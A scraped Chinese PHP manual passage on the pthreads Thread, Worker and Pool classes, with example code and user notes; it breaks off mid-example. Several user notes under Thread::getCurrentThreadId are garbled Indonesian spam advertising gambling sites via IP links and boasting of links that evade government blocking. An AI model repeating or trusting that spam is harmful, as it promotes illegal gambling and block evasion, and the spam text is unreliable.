Threaded::synchronized() allows you to safely set or read synchronization conditions and act upon them (using ::wait() and ::notify()) knowing that only one call to synchronized() on the referenced object can be executed at a particular time, other calls from different thread contexts will block until the path is cleared by a call to ::wait() inside your ::Synchronized() closure.


Synchronization

  • ? Threaded::synchronized
  • Thread ?
  • PHP Manual
  • Threaded
  • Synchronization

Threaded::wait

(PECL pthreads >= 2.0.0)

Threaded::wait — Synchronization

说明

public Threaded::wait(int $timeout = ?): bool

让发起调用的线程上下文进入等待状态，直到收到其他线程的唤醒通知

参数

timeout

可选参数，等待时间，以微秒计

返回值

成功时返回 true， 或者在失败时返回 false。

示例

Example #1 等待和唤醒

<?php
class My extends Thread {
public function run() {
/** 让本线程进入等待状态 **/
$this->synchronized(function($thread){
if (!$thread->done)
$thread->wait();
}, $this);
}
}
$my = new My();
$my->start();
/** 向处于等待状态的线程发送唤醒通知 **/
$my->synchronized(function($thread){
$thread->done = true;
$thread->notify();
}, $my);
var_dump($my->join());
?>

以上示例会输出：

bool(true)

User Contributed Notes

There are no user contributed notes for this page.


Thread 类

(PECL pthreads >= 2.0.0)

简介

当调用 Thread 对象的 start 方法时，该对象的 run 方法中的代码将在独立线程中并行执行。

run 方法中的代码执行完毕之后，独立线程立即退出，并且等待合适的时机由创建者线程加入（join）。

Warning

依赖于引擎本身的机制检测何时加入线程可能引发非预期的行为，程序员应该尽可能的显式控制线程加入的时机。

类摘要

class Thread extends Threaded implements Countable, Traversable, ArrayAccess {
/* 方法 */
public getCreatorId(): int
public static getCurrentThread(): Thread
public static getCurrentThreadId(): int
public getThreadId(): int
publicisJoined(): bool
publicisStarted(): bool
publicjoin(): bool
public start(int $options = ?): bool
/* 继承的方法 */
public Threaded::chunk(int $size, bool $preserve): array
public Threaded::count(): int
public Threaded::extend(string $class): bool
public Threaded::isRunning(): bool
public Threaded::isTerminated(): bool
publicThreaded::merge(mixed $from, bool $overwrite = ?): bool
public Threaded::notify(): bool
public Threaded::notifyOne(): bool
public Threaded::pop(): bool
public Threaded::run(): void
public Threaded::shift(): boolean
public Threaded::synchronized(Closure $block, mixed ...$args): mixed
public Threaded::wait(int $timeout = ?): bool
}

Table of Contents

  • Thread::getCreatorId — 识别
  • Thread::getCurrentThread — 识别
  • Thread::getCurrentThreadId — 识别
  • Thread::getThreadId — 识别
  • Thread::isJoined — 状态监测
  • Thread::isStarted — 状态检测
  • Thread::join — 同步
  • Thread::start — 执行

User Contributed Notes

german dot bernhardt at gmail dot com 27-Mar-2016 11:11
<?php
# ERROR GLOBAL VARIABLES IMPORT

$tester=true;

function tester(){
 global $tester;
 var_dump($tester);
}

tester(); // PRINT -> bool(true)

class test extends Thread{
 public function run(){
  global $tester;
  tester(); // PRINT -> NULL
 }
}
$workers=new test();
$workers->start();

?>
german dot bernhardt at gmail dot com 01-Apr-2014 11:01
<?php

class workerThread extends Thread {
 public function __construct($i){
  $this->i=$i;
 }

 public function run(){
  while(true){
   echo $this->i;
   sleep(1);
  }
 }
}

for($i=0;$i<50;$i++){
 $workers[$i]=new workerThread($i);
 $workers[$i]->start();
}

?>


识别

  • ? Thread
  • Thread::getCurrentThread ?
  • PHP Manual
  • Thread
  • 识别

Thread::getCreatorId

(PECL pthreads >= 2.0.0)

Thread::getCreatorId — 识别

说明

public Thread::getCreatorId(): int

返回创建当前线程的线程ID。

参数

此函数没有参数。

返回值

线程ID，数字格式

示例

Example #1 返回创建线程的线程或进程ID

<?php
class My extends Thread {
public function run() {
printf("%s created by Thread #%lu\n", __CLASS__, $this->getCreatorId());
}
}
$my = new My();
$my->start();
?>

以上示例会输出：

My created by Thread #123456778899

User Contributed Notes

There are no user contributed notes for this page.


识别

  • ? Thread::getCreatorId
  • Thread::getCurrentThreadId ?
  • PHP Manual
  • Thread
  • 识别

Thread::getCurrentThread

(PECL pthreads >= 2.0.0)

Thread::getCurrentThread — 识别

说明

public static Thread::getCurrentThread(): Thread

获取当前执行线程的引用。

参数

此函数没有参数。

返回值

表示当前执行线程的对象。

示例

Example #1 获取当前执行线程

<?php
class My extends Thread {
public function run() {
var_dump(Thread::getCurrentThread());
}
}
$my = new My();
$my->start();
?>

以上示例会输出：

object(My)#2 (0) {
}

User Contributed Notes

There are no user contributed notes for this page.


识别

  • ? Thread::getCurrentThread
  • Thread::getThreadId ?
  • PHP Manual
  • Thread
  • 识别

Thread::getCurrentThreadId

(PECL pthreads >= 2.0.0)

Thread::getCurrentThreadId — 识别

说明

public static Thread::getCurrentThreadId(): int

返回当前执行线程的ID

参数

此函数没有参数。

返回值

线程ID，数字格式

示例

Example #1 返回当前执行线程的ID

<?php
class My extends Thread {
public function run() {
printf("%s is Thread #%lu\n", __CLASS__, Thread::getCurrentThreadId());
}
}
$my = new My();
$my->start();
?>

以上示例会输出：

My is Thread #123456778899

User Contributed Notes

PAS77 19-Apr-2022 07:28
https://13.214.248.65/

PAS77 merupakan sebuah perusahaan bandar judi slot online yang menyediakan permainan judi online terlengkap mudah menang dan gacor di Indonesia dengan lisensi resmi. Selain menyediakan permainan judi slot gacor yang mudah menang tentunya memiliki banyak sekali jenis game slot resmi yang bisa anda coba untuk meraih hadiah besar. Jelas PAS77 memiliki game slot gacor terbaik yang bisa diandalkan untuk meraih keuntungan besar dalam waktu yang cepat.

Game slot online gacor adalah permainan yang disukai dijaman sekarang ini, karena selain dengan mudah dimainkan juga memiliki tingkat volatilitas tinggi dengan RTP mencapai 98.54%. Jika anda ingin bermain game slot gacor terbaru kalian harus bermain pada situs judi slot online terpercaya dan terlengkap supaya mendapatkan banyak promo menarik ketika bermain. PAS77 termasuk salah satu dari sekian banyak agen judi slot online terpercaya yang memiliki sistem canggih yang bisa memberikan fitur menarik sehingga kalian bisa merasa aman dan nyaman dalam bermain slot online gacor hari ini dengan jackpot terbesar.

PAS77 sudah berdiri sejak lama dan sangat dikenal dengan bandar situs slot paling gacor gampang menang di Indonesia yang selalu menghadirkan permainan dengan berbagai jenis keuntungan besar. Hadiah yang akan anda dapatkan bisa mencapai ratusan juta rupiah. Salah satunya yaitu menjadi member setia di PAS77, tenang saja untuk pendaftaran juga mudah anda hanya perlu isi formulir pendaftaran yang sudah tersedia dan cukup klik tombol "Daftar" kemudian isi semua data lengkap yang diperlukan.
Pas77 19-Apr-2022 07:27
https://13.214.248.65/
PAS77 merupakan sebuah perusahaan bandar judi slot online yang menyediakan permainan judi online terlengkap mudah menang dan gacor di Indonesia dengan lisensi resmi. Selain menyediakan permainan judi slot gacor yang mudah menang tentunya memiliki banyak sekali jenis game slot resmi yang bisa anda coba untuk meraih hadiah besar. Jelas PAS77 memiliki game slot gacor terbaik yang bisa diandalkan untuk meraih keuntungan besar dalam waktu yang cepat.

Game slot online gacor adalah permainan yang disukai dijaman sekarang ini, karena selain dengan mudah dimainkan juga memiliki tingkat volatilitas tinggi dengan RTP mencapai 98.54%. Jika anda ingin bermain game slot gacor terbaru kalian harus bermain pada situs judi slot online terpercaya dan terlengkap supaya mendapatkan banyak promo menarik ketika bermain. PAS77 termasuk salah satu dari sekian banyak agen judi slot online terpercaya yang memiliki sistem canggih yang bisa memberikan fitur menarik sehingga kalian bisa merasa aman dan nyaman dalam bermain slot online gacor hari ini dengan jackpot terbesar.

PAS77 sudah berdiri sejak lama dan sangat dikenal dengan bandar situs slot paling gacor gampang menang di Indonesia yang selalu menghadirkan permainan dengan berbagai jenis keuntungan besar. Hadiah yang akan anda dapatkan bisa mencapai ratusan juta rupiah. Salah satunya yaitu menjadi member setia di PAS77, tenang saja untuk pendaftaran juga mudah anda hanya perlu isi formulir pendaftaran yang sudah tersedia dan cukup klik tombol "Daftar" kemudian isi semua data lengkap yang diperlukan.
selynaputri at burgas dot vip 12-Apr-2022 11:00
https://134.209.110.158/
SLOTTER88 merupakan sebuah perusahaan bandar judi slot online yang menyediakan permainan judi online terlengkap mudah menang dan gacor di Indonesia dengan lisensi resmi. Selain menyediakan permainan judi slot gacor yang mudah menang tentunya memiliki banyak sekali jenis game slot resmi yang bisa anda coba untuk meraih hadiah besar. Jelas SLOTTER88 memiliki game slot gacor terbaik yang bisa diandalkan untuk meraih keuntungan besar dalam waktu yang cepat.

Game slot online gacor adalah permainan yang disukai dijaman sekarang ini, karena selain dengan mudah dimainkan juga memiliki tingkat volatilitas tinggi dengan RTP mencapai 96.54%. Jika anda ingin bermain game slot gacor terbaru kalian harus bermain pada situs judi slot online terpercaya dan terlengkap supaya mendapatkan banyak promo menarik ketika bermain. SLOTTER88 termasuk salah satu dari sekian banyak agen judi slot online terpercaya yang memiliki sistem canggih yang bisa memberikan fitur menarik sehingga kalian bisa merasa aman dan nyaman dalam bermain slot online gacor hari ini dengan jackpot terbesar.

SLOTTER88 sudah berdiri sejak lama dan sangat dikenal dengan bandar situs slot paling gacor gampang menang di Indonesia yang selalu menghadirkan permainan dengan berbagai jenis keuntungan besar. Hadiah yang akan anda dapatkan bisa mencapai ratusan juta rupiah. Salah satunya yaitu menjadi member setia di SLOTTER88, tenang saja untuk pendaftaran juga mudah anda hanya perlu isi formulir pendaftaran yang sudah tersedia dan cukup klik tombol "Daftar" kemudian isi semua data lengkap yang diperlukan.
veronicalim779 at gmail dot com 04-Jul-2021 11:21
Layanan Custoasdasmer Service 2das4 Jam
DinastiPk sebagai situs  online terpercaya tentu menyediakan laasdyanan customear service basa setiap pemain yang mungkasdin mengalasdamadi ksdesulitan pada saat ingidsaosit. Customer serviass kami tersedia 24jam nonstop untuaasdk setiap harinya , Pelayanan yadasdng di jamin akan membantu ssdetiap member yang akan mengajdukan pertanyaan.
asd

Memiliki Banyak Link Alternatif
Indonesia adalah negara yang melarang adanya perjudian secara langsung maupun online. Langkah pemerintah dalam memberantas kegiatan teraman dan terpercaya & yaitu dengan cara memblokir situs-situs yang menyediakan layanan bermain games online maupun lainnya. Oleh karena itu, seringkali beberapa pemain mengalami kesulitan untuk mengakses situs.

Kesulitan akses dan bermain tidak ada di dinastipk karena telah disediakan banyak sekali link alternatif yang bisa diakses kapanpun. Apabila salah satu situs tidak dapat diakses dikarenakan terjadi pemblokiran, maka kamu bisa menggunakan link alternatif resmi lainnya yang sudah disediakan. Anda bisa mendapatkan link alternatif melalui pencarian di internet atau meminta staff yang bertugas melalui livechat yang tersedia selama 24/7.

https://206.189.86.37
nzotharr at gmail dot com 19-Jun-2021 10:40
https://159.65.13.169/

Layanan Custoasdasmer Service 2das4 Jam
BOSSWIN168 sebagai situs judi slot online terpercaya tentu menyediakan laasdyanan customear service basa setiap pemain yang mungkasdin mengalasdamadi ksdesulitan pada saat ingidsaosit. Customer serviass kami tersedia 24jam nonstop untuaasdk setiap harinya , Pelayanan yadasdng di jamin akan membantu ssdetiap member yang akan mengajdukan pertanyaan.
asd
Memiliki Banyak Link Alternatif
Indonesia adalah negara yang melarang adanya perjudian secara langsung maupun online. Langkah pemerintah dalam memberantas kegiatan teraman dan terpercaya & yaitu dengan cara memblokir situs-situs yang menyediakan layanan bermain slot online maupun lainnya. Oleh karena itu, seringkali beberapa pemain mengalami kesulitan untuk mengakses situs.

Kesulitan akses dan bermain tidak ada di Bosswin168 karena telah disediakan banyak sekali link alternatif yang bisa diakses kapanpun. Apabila salah satu situs tidak dapat diakses dikarenakan terjadi pemblokiran, maka kamu bisa menggunakan link alternatif resmi lainnya yang sudah disediakan. Anda bisa mendapatkan link alternatif BOSSWIN168 melalui pencarian di internet atau meminta staff yang bertugas melalui livechat yang tersedia selama 24/7.
nzotharr at gmail dot com 19-Jun-2021 10:40
https://159.65.13.169/

Layanan Custoasdasmer Service 2das4 Jam
BOSSWIN168 sebagai situs judi slot online terpercaya tentu menyediakan laasdyanan customear service basa setiap pemain yang mungkasdin mengalasdamadi ksdesulitan pada saat ingidsaosit. Customer serviass kami tersedia 24jam nonstop untuaasdk setiap harinya , Pelayanan yadasdng di jamin akan membantu ssdetiap member yang akan mengajdukan pertanyaan.
asd
Memiliki Banyak Link Alternatif
Indonesia adalah negara yang melarang adanya perjudian secara langsung maupun online. Langkah pemerintah dalam memberantas kegiatan teraman dan terpercaya & yaitu dengan cara memblokir situs-situs yang menyediakan layanan bermain slot online maupun lainnya. Oleh karena itu, seringkali beberapa pemain mengalami kesulitan untuk mengakses situs.

Kesulitan akses dan bermain tidak ada di Bosswin168 karena telah disediakan banyak sekali link alternatif yang bisa diakses kapanpun. Apabila salah satu situs tidak dapat diakses dikarenakan terjadi pemblokiran, maka kamu bisa menggunakan link alternatif resmi lainnya yang sudah disediakan. Anda bisa mendapatkan link alternatif BOSSWIN168 melalui pencarian di internet atau meminta staff yang bertugas melalui livechat yang tersedia selama 24/7.


识别

  • ? Thread::getCurrentThreadId
  • Thread::isJoined ?
  • PHP Manual
  • Thread
  • 识别

Thread::getThreadId

(PECL pthreads >= 2.0.0)

Thread::getThreadId — 识别

说明

public Thread::getThreadId(): int

返回引用线程的ID

参数

此函数没有参数。

返回值

线程ID，数字格式

示例

Example #1 返回引用线程的ID

<?php
class My extends Thread {
public function run() {
printf("%s is Thread #%lu\n", __CLASS__, $this->getThreadId());
}
}
$my = new My();
$my->start();
?>

以上示例会输出：

My is Thread #123456778899

User Contributed Notes

derkontrollfreak+php at gmail dot com 12-Jul-2015 11:00
Thread::getThreadId() returns 0 if the thread has not been started.


状态监测

  • ? Thread::getThreadId
  • Thread::isStarted ?
  • PHP Manual
  • Thread
  • 状态监测

Thread::isJoined

(PECL pthreads >= 2.0.0)

Thread::isJoined — 状态监测

说明

publicThread::isJoined(): bool

线程是否已经被加入（join）

参数

此函数没有参数。

返回值

成功时返回 true， 或者在失败时返回 false。

示例

Example #1 检测线程状态

<?php
class My extends Thread {
public function run() {
$this->synchronized(function($thread){
if (!$thread->done)
$thread->wait();
}, $this);
}
}
$my = new My();
$my->start();
var_dump($my->isJoined());
$my->synchronized(function($thread){
$thread->done = true;
$thread->notify();
}, $my);
?>

以上示例会输出：

bool(false)

User Contributed Notes

There are no user contributed notes for this page.


状态检测

  • ? Thread::isJoined
  • Thread::join ?
  • PHP Manual
  • Thread
  • 状态检测

Thread::isStarted

(PECL pthreads >= 2.0.0)

Thread::isStarted — 状态检测

说明

publicThread::isStarted(): bool

线程是否开始执行

参数

此函数没有参数。

返回值

成功时返回 true， 或者在失败时返回 false。

示例

Example #1 监测线程是否开始执行

<?php
$worker = new Worker();
$worker->start();
var_dump($worker->isStarted());
?>

以上示例会输出：

bool(true)

User Contributed Notes

ricardo dot boss at web dot de 30-Jul-2016 11:20
Even if you kill() a thread, the isStarted() method will still return true.


同步

  • ? Thread::isStarted
  • Thread::start ?
  • PHP Manual
  • Thread
  • 同步

Thread::join

(PECL pthreads >= 2.0.0)

Thread::join — 同步

说明

publicThread::join(): bool

让当前执行上下文等待被引用线程执行完毕

参数

此函数没有参数。

返回值

成功时返回 true， 或者在失败时返回 false。

示例

Example #1 加入线程

<?php
class My extends Thread {
public function run() {
/* ... */
}
}
$my = new My();
$my->start();
/* ... */
var_dump($my->join());
/* ... */
?>

以上示例会输出：

bool(true)

User Contributed Notes

There are no user contributed notes for this page.


执行

  • ? Thread::join
  • Worker ?
  • PHP Manual
  • Thread
  • 执行

Thread::start

(PECL pthreads >= 2.0.0)

Thread::start — 执行

说明

public Thread::start(int $options = ?): bool

在独立线程中执行 run 方法

参数

options

可选参数，用来控制线程继承。默认值为 PTHREADS_INHERIT_ALL

返回值

成功时返回 true， 或者在失败时返回 false。

示例

Example #1 开始线程

<?php
class My extends Thread {
public function run() {
/** ... **/
}
}
$my = new My();
var_dump($my->start());
?>

以上示例会输出：

bool(true)

User Contributed Notes

There are no user contributed notes for this page.


Worker 类

(PECL pthreads >= 2.0.0)

简介

Worker 是一个具有持久化上下文的线程对象，通常用来在多个线程中使用。

当一个 Worker 对象开始之后，会执行它的 run 方法，但是即使 run 方法执行完毕，线程本身也不会消亡，除非遇到以下情况：

  • Worker 对象超出作用范围（没有指向它的引用了）

  • 代码调用了 Worker 对象的 shutdown 方法

  • 整个脚本终止了

这意味着程序员可以在程序执行过程中重用这个线程上下文： 在 Worker 对象的栈中添加对象会激活 Worker 对象执行被加入对象的 run 方法。

类摘要

class Worker extends Thread implements Traversable, Countable, ArrayAccess {
/* 方法 */
public collect(Callable $collector = ?): int
public getStacked(): int
public isShutdown(): bool
public shutdown(): bool
public stack(Threaded &$work): int
public unstack(): int
/* 继承的方法 */
public Thread::getCreatorId(): int
public static Thread::getCurrentThread(): Thread
public static Thread::getCurrentThreadId(): int
public Thread::getThreadId(): int
publicThread::isJoined(): bool
publicThread::isStarted(): bool
publicThread::join(): bool
public Thread::start(int $options = ?): bool
}

Table of Contents

  • Worker::collect — Collect references to completed tasks
  • Worker::getStacked — 获取剩余的栈大小
  • Worker::isShutdown — 状态检测
  • Worker::shutdown — 关闭 Worker
  • Worker::stack — 将要执行的任务入栈
  • Worker::unstack — 将要执行的任务出栈

User Contributed Notes

event2game at gmail dot com 31-Oct-2013 03:22
There's one way to shared datas between Workers, that is using Stackable:
<?php
class data extends Stackable{
    //private $name;
    public function __construct($_name) {
        //$this->name = $_name;//if you set any variable, workers will get the variable, so do not set any variable
        echo __FILE__.'-'.__LINE__.'<br/>'.chr(10);
    }
    public function run(){
        echo __FILE__.'-'.__LINE__.'<br/>'.chr(10);
    }
}
class readWorker extends Worker {
    public function __construct(&$_data) {
        $this->data = $_data;//
    }
    public function run(){
        while(1){
            if($arr=$this->data->shift())//receiving datas
            {
                echo 'Received data:'.print_r($arr,1).chr(10);
            }else usleep(50000);
        }
    }
}
class writeWorker extends Worker {
    public function __construct(&$_data) {
        $this->data = $_data;//
    }
    public function run(){
        while(1){
            $this->data[] = array(time(),rand());//writting datas
            usleep(rand(50000, 1000000));
        }
    }

}
$data = new data('');
$reader = new readWorker($data);
$writer = new writeWorker($data);
$reader->start();
$writer->start();
?>
Also you can use $readWorker[] = $some_data; then use $this->shift() in readWorker to share datas with readWorker, but if you do so you can't have variables in readWorker as all variales will be shift by shift();


Collect references to completed tasks

  • ? Worker
  • Worker::getStacked ?
  • PHP Manual
  • Worker
  • Collect references to completed tasks

Worker::collect

(PECL pthreads >= 3.0.0)

Worker::collect — Collect references to completed tasks

说明

public Worker::collect(Callable $collector = ?): int

Allows the worker to collect references determined to be garbage by the optionally given collector.

参数

collector

A Callable collector that returns a boolean on whether the task can be collected or not. Only in rare cases should a custom collector need to be used.

返回值

The number of remaining tasks on the worker's stack to be collected.

示例

Example #1 A basic example of Worker::collect()

<?php
$worker = new Worker();

echo "There are currently {$worker->collect()} tasks on the stack to be collected\n";

for ($i = 0; $i < 15; ++$i) {
$worker->stack(new class extends Threaded {});
}

echo "There are {$worker->collect()} tasks remaining on the stack to be collected\n";

$worker->start();

while ($worker->collect()); // blocks until all tasks have finished executing

echo "There are now {$worker->collect()} tasks on the stack to be collected\n";

$worker->shutdown();

以上示例会输出：

There are currently 0 tasks on the stack to be collected
There are 15 tasks remaining on the stack to be collected
There are now 0 tasks on the stack to be collected

User Contributed Notes

There are no user contributed notes for this page.


获取剩余的栈大小

  • ? Worker::collect
  • Worker::isShutdown ?
  • PHP Manual
  • Worker
  • 获取剩余的栈大小

Worker::getStacked

(PECL pthreads >= 2.0.0)

Worker::getStacked — 获取剩余的栈大小

说明

public Worker::getStacked(): int

返回栈中剩余的任务数量

参数

此函数没有参数。

返回值

返回 worker 中等待执行的任务数量

示例

Example #1 Worker::getStacked 基本示例

<?php
$worker = new Worker();

for ($i = 0; $i < 5; ++$i) {
$worker->stack(new class extends Threaded {});
}

echo "There are {$worker->getStacked()} stacked tasks\n";

以上示例会输出：

There are 5 stacked tasks

User Contributed Notes

There are no user contributed notes for this page.


状态检测

  • ? Worker::getStacked
  • Worker::shutdown ?
  • PHP Manual
  • Worker
  • 状态检测

Worker::isShutdown

(PECL pthreads >= 2.0.0)

Worker::isShutdown — 状态检测

说明

public Worker::isShutdown(): bool

Worker 对象是否被关闭

参数

此函数没有参数。

返回值

布尔值，表示 worker 是否已经被关闭

示例

Example #1 检测 Worker 对象状态

<?php
$worker = new Worker();
$worker->start();

var_dump($worker->isShutdown());

$worker->shutdown();

var_dump($worker->isShutdown());

以上示例会输出：

bool(false)
bool(true)

User Contributed Notes

There are no user contributed notes for this page.


关闭 Worker

  • ? Worker::isShutdown
  • Worker::stack ?
  • PHP Manual
  • Worker
  • 关闭 Worker

Worker::shutdown

(PECL pthreads >= 2.0.0)

Worker::shutdown — 关闭 Worker

说明

public Worker::shutdown(): bool

在执行完已入栈对象之后，关闭这个 Worker 对象

参数

此函数没有参数。

返回值

成功时返回 true， 或者在失败时返回 false。

示例

Example #1 关闭 Worker

<?php
$my = new Worker();
$my->start();
/* 入栈和执行任务 */
var_dump($my->shutdown());

以上示例会输出：

bool(true)

User Contributed Notes

There are no user contributed notes for this page.


将要执行的任务入栈

  • ? Worker::shutdown
  • Worker::unstack ?
  • PHP Manual
  • Worker
  • 将要执行的任务入栈

Worker::stack

(PECL pthreads >= 2.0.0)

Worker::stack — 将要执行的任务入栈

说明

public Worker::stack(Threaded &$work): int

将要执行的任务入栈到 Worker 对象

参数

work

要被 Worker 执行的 Threaded 派生对象

返回值

入栈之后，Worker 对象栈的大小。

示例

Example #1 向 Worker 中入栈任务并执行

<?php
$worker = new Worker();
$work = new class extends Threaded {};

var_dump($worker->stack($work));

以上示例会输出：

int(1)

User Contributed Notes

There are no user contributed notes for this page.


将要执行的任务出栈

  • ? Worker::stack
  • Collectable ?
  • PHP Manual
  • Worker
  • 将要执行的任务出栈

Worker::unstack

(PECL pthreads >= 2.0.0)

Worker::unstack — 将要执行的任务出栈

说明

public Worker::unstack(): int

把 Worker 栈顶的（最老的那个）任务从栈中移除。

参数

此函数没有参数。

返回值

出栈之后，Worker 栈的大小。

更新日志

版本 | 说明
v3 | 移除了要出栈的任务参数。 现在只能移除栈顶元素。

示例

Example #1 从 Worker 栈中移除对象

<?php
$my = new Worker();
$work = new class extends Threaded {};

var_dump($my->stack($work));
var_dump($my->unstack());

以上示例会输出：

int(1)
int(0)

User Contributed Notes

There are no user contributed notes for this page.


The Collectable interface

(PECL pthreads >= 2.0.8)

简介

Represents a garbage-collectable object.

接口摘要

interface Collectable {
/* 方法 */
public isGarbage(): true
}

Table of Contents

  • Collectable::isGarbage — Determine whether an object has been marked as garbage

User Contributed Notes

There are no user contributed notes for this page.


Determine whether an object has been marked as garbage

  • ? Collectable
  • Pool ?
  • PHP Manual
  • Collectable
  • Determine whether an object has been marked as garbage

Collectable::isGarbage

(PECL pthreads >= 2.0.8)

Collectable::isGarbage — Determine whether an object has been marked as garbage

说明

public Collectable::isGarbage(): true

Can be called in Pool::collect() to determine if this object is garbage.

参数

此函数没有参数。

返回值

总是返回 true。

更新日志

版本 | 说明
8.2.0 | 现在返回类型为 true；之前是 bool。

参见

  • Pool::collect() - 回收已完成任务的引用

User Contributed Notes

There are no user contributed notes for this page.


Pool 类

(PECL pthreads >= 2.0.0)

简介

Pool 对象是多个 Worker 对象的容器，同时也是它们的控制器。

线程池是对 Worker 功能的高层抽象，包括按照 pthreads 需要的方式来管理应用的功能。

类摘要

class Pool {
/* 属性 */
protected $size;
protected $class;
protected $workers;
protected $ctor;
protected $last;
/* 方法 */
public __construct(int $size, string $class = ?, array $ctor = ?)
public collect(Callable $collector = ?): int
publicresize(int $size): void
publicshutdown(): void
public submit(Threaded $task): int
public submitTo(int $worker, Threaded $task): int
}

属性

size

Pool 对象可容纳的 Worker 对象的最大数量

class

Worker 的类

workers

指向 Worker 对象的引用

ctor

构造新的 Worker 对象时所需的参数

last

最后使用的 Worker 对象在池中的位置偏移量

Table of Contents

  • Pool::collect — 回收已完成任务的引用
  • Pool::__construct — 创建新的 Worker 对象池
  • Pool::resize — 改变 Pool 对象的可容纳 Worker 对象的数量
  • Pool::shutdown — 停止所有的 Worker 对象
  • Pool::submit — 提交对象以执行
  • Pool::submitTo — 提交一个任务到特定的 Worker 以执行

User Contributed Notes

meadowsjared at gmail dot com 29-Dec-2020 05:43
In this example, it shows how to use a pool to get an array of results, using pThreads v3.2.1 and php 7.3.23

<?php
class TestWork extends Threaded {
//updated version that works with pThreads v3.2.1 and php 7.3.23
    protected $complete;
    //$pData is the data sent to your worker thread to do it's job.
    public function __construct($pData) {
        //transfer all the variables to local variables
        $this->complete = false;
        $this->testData = $pData;
    }
    //This is where all of your work will be done.
    public function run() {
        usleep(2000000); //sleep 2 seconds to simulate a large job
        $this->complete = true;
    }
    public function isDone() {
        return $this->complete;
    }
}
class ExamplePool extends Pool {
    public $data = array(); // used to return data after we're done
    private $numTasks = 0; // counter used to know when we're done
    /**
     * override the submit function from the parent
     * to keep track of our jobs
     */
    public function submit(Threaded $task) {
        $this->numTasks++;
        parent::submit($task);
    }
    /**
     * used to wait until all workers are done
     */
    public function process() {
        // Run this loop as long as we have
        // jobs in the pool
        while (count($this->data) < $this->numTasks) {
            $this->collect(function (TestWork $task) {
                // If a task was marked as done, collect its results
                if ($task->isDone()) {
                    $tmpObj = new stdclass();
                    $tmpObj->complete = $task->complete;
                    //this is how you get your completed data back out [accessed by $pool->process()]
                    $this->data[] = $tmpObj;
                }
                return $task->isDone();
            });
        }
        // All jobs are done
        // we can shutdown the pool
        $this->shutdown();
        return $this->data;
    }
}
$pool = new ExamplePool(3);
$testData = 'asdf';
for($i=0;$i<5;$i++) {
    $pool->submit(new TestWork($testData));
}
$retArr = $pool->process(); //get all of the results
echo '<pre>';
print_r($retArr); //return the array of results (and maybe errors)
echo '</pre>';
?>
meadowsjared at gmail dot com 14-Mar-2016 07:16
Please note, when using the collect function, it's important that you extend the pool class so you can keep checking for finished threads until they're all done.

<?php
class TestWork extends Threaded {
    protected $complete;
    //$pData is the data sent to your worker thread to do it's job.
    public function __construct($pData){
        //transfer all the variables to local variables
        $this->complete = false;
        $this->testData = $pData;
    }
    //This is where all of your work will be done.
    public function run(){
        usleep(2000000); //sleep 2 seconds to simulate a large job
        $this->complete = true;
    }
    public function isGarbage() {
        return $this->complete;
    }
}
class ExamplePool extends Pool
{
    public $data = array();
    public function process()
    {
        // Run this loop as long as we have
        // jobs in the pool
        while (count($this->work)) {
            $this->collect(function (TestWork $task) {
                // If a task was marked as done
                // collect its results
                if ($task->isGarbage()) {
                    $tmpObj = new stdclass();
                    $tmpObj->complete = $task->complete;
                    //this is how you get your completed data back out [accessed by $pool->process()]
                    $this->data[] = $tmpObj;
                }
                return $task->isGarbage();
            });
        }
        // All jobs are done
        // we can shutdown the pool
        $this->shutdown();
        return $this->data;
    }
}
$pool = new ExamplePool(3);
$testData = 'asdf';
for($i=0;$i<5;$i++) {
    $pool->submit(new TestWork($testData));
}
$retArr = $pool->process(); //get all of the results
echo '<pre>';
print_r($retArr); //return the array of results (and maybe errors)
echo '</pre>';
?>
olavk 30-Mar-2015 01:48
Simple example with Collectable (basically Thread meant for Pool) and Pool

<?php

class job extends Collectable {
  public $val;

  public function __construct($val){
    // init some properties
    $this->val = $val;
  }
  public function run(){
    // do some work
    $this->val = $this->val . file_get_contents('http://www.example.com/', null, null, 3, 20);
    $this->setGarbage();
  }
}

// At most 3 threads will work at once
$p = new Pool(3);

$tasks = array(
  new job('0'),
  new job('1'),
  new job('2'),
  new job('3'),
  new job('4'),
  new job('5'),
  new job('6'),
  new job('7'),
  new job('8'),
  new job('9'),
  new job('10'),
);
// Add tasks to pool queue
foreach ($tasks as $task) {
  $p->submit($task);
}

// shutdown will wait for current queue to be completed
$p->shutdown();
// garbage collection check / read results
$p->collect(function($checkingTask){
  echo $checkingTask->val;
  return $checkingTask->isGarbage();
});

?>
fajan 28-May-2014 01:18
Example class to demonstrate usage of Pool/Worker mechanism, also to show a few tricks & hints ;)
<?php
class Config extends Threaded{    // shared global object
    protected $val=0, $val2=0;
    protected function inc(){++$this->val;}    // protected synchronizes by-object
    public function inc2(){++$this->val2;}    // no synchronization
}
class WorkerClass extends Worker{
    protected static $worker_id_next = -1;
    protected $worker_id;
    protected $config;
    public function __construct($config){
        $this->worker_id = ++static::$worker_id_next;    // static members are not avalable in thread but are in 'main thread'
        $this->config = $config;
    }
    public function run(){
        global $config;
        $config = $this->config;    // NOTE: setting by reference WON'T work
        global $worker_id;
        $worker_id = $this->worker_id;
        echo "working context {$worker_id} is created!\n";
        //$this->say_config();    // globally synchronized function.
    }
    protected function say_config(){    // 'protected' is synchronized by-object so WON'T work between multiple instances
        global $config;        // you can use the shared $config object as synchronization source.
        $config->synchronized(function() use (&$config){    // NOTE: you can use Closures here, but if you attach a Closure to a Threaded object it will be destroyed as can't be serialized
            var_dump($config);
        });
    }
}
class Task extends Stackable{    // Stackable still exists, it's just somehow dissappeared from docs (probably by mistake). See older version's docs for more details.
    protected $set;
    public function __construct($set){
        $this->set = $set;
    }
    public function run(){
        global $worker_id;
        echo "task is running in {$worker_id}!\n";
        usleep(mt_rand(1,100)*100);
        $config = $this->getConfig();
        $val = $config->arr->shift();
        $config->arr[] = $this->set;
        for ($i = 0 ; $i < 1000; ++$i){
            $config->inc();
            $config->inc2();
        }
    }
    public function getConfig(){
        global $config;    // WorkerClass set this on thread's scope, can be reused by Tasks for additional asynch data source. (ie: connection pool or taskqueue to demultiplexer)
        return $config;
    }
}

$config = new Config;
$config->arr = new \Threaded();
$config->arr->merge(array(1,2,3,4,5,6));
class PoolClass extends Pool{
    public function worker_list(){
        if ($this->workers !== null)
            return array_keys($this->workers);
        return null;
    }
}
$pool = new PoolClass(3, 'WorkerClass', [$config] );
$pool->worker_list();
//$pool->submitTo(0,new Task(-10));    // submitTo DOES NOT try to create worker

$spammed_id = -1;
for ($i = 1; $i <= 100; ++$i){    // add some jobs
    if ($spammed_id == -1 && ($x = $pool->worker_list())!= null && @$x[2]){
        $spammed_id = $x[2];
